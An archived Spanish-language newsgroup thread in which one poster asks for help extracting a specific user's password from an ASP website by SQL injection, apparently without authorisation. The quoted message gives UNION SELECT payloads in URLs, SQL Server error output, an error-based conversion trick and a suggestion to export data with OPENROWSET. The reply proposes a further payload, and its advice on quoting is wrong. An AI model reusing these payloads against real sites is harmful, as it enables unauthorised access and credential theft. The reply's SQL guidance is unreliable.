🚀 go-pugleaf

> Haciendo unas "pruebas" trato de ver el  passwd de un usuario q de
> antemano se q existe inyectando codigo sql en un asp.
>
> http://www.url.com/cgi-bin/scrip.asp?id=111 UNION SELECT TOP 1 password
> FROM Nombre_tabla where usuario='nombre_usuario'--

No se que diferencias habra entre la sql de asp y mysql pero yo pondria...

 http://www.url.com/cgi-bin/scrip.asp?id=111 UNION SELECT password  FROM
Nombre_tabla WHERE usuario=nombre_usuario

Aunque claro, deberia mostrar los datos... si ahces el query y no se imprime
nada no sirve

�como muestras los datos despues? o en ese caso salen solos?

Ojo a que he quitado las comillas por el tema que decia mike

a todo esto �esto no seria sql injection no? me refiero a que seria
aprovechar un fallod e programacion pero no a sql injection en si. creo que
esto deberia ser algo mas a lo basto, me refiero a llamar aa sql desde el
raiz de la pagina o con algun archivo directo �?

>
>
> [Microsoft][ODBC SQL Server Driver][SQL Server]El nombre de columna
> 'nombre_usuario' no es v�lido.
>
> Nombre_tabla, columna password, columna usuario y valor nombre_usuario
> existen con total seguridad.
>
> El union deberia de probocar un error diciendo q el string "tal" ( el
> passwd ) no puede convertirse a num�rico ... sin embargo dice q
> nombre_usuario no es una columna v�lida. Probado con un sql server en
> local funciona ok:
>
> Server: Msg 245, Level 16, State 1, Line 1
> Syntax error converting the varchar value 'test      ' to a column of
> data type int.
>
> Otra opci�n seria exportar los datos usando la funci�n OPENROWSET pero
> hace falta un SQL server y no tengo ninguno ... :(
>
> No se ... el sql no es lo mio, � alguna sugerencia ?
>
> Saludos,
> Roger_J
>
> --
> Linux User 138584
> Donde hay una pared no hacen falta ventanas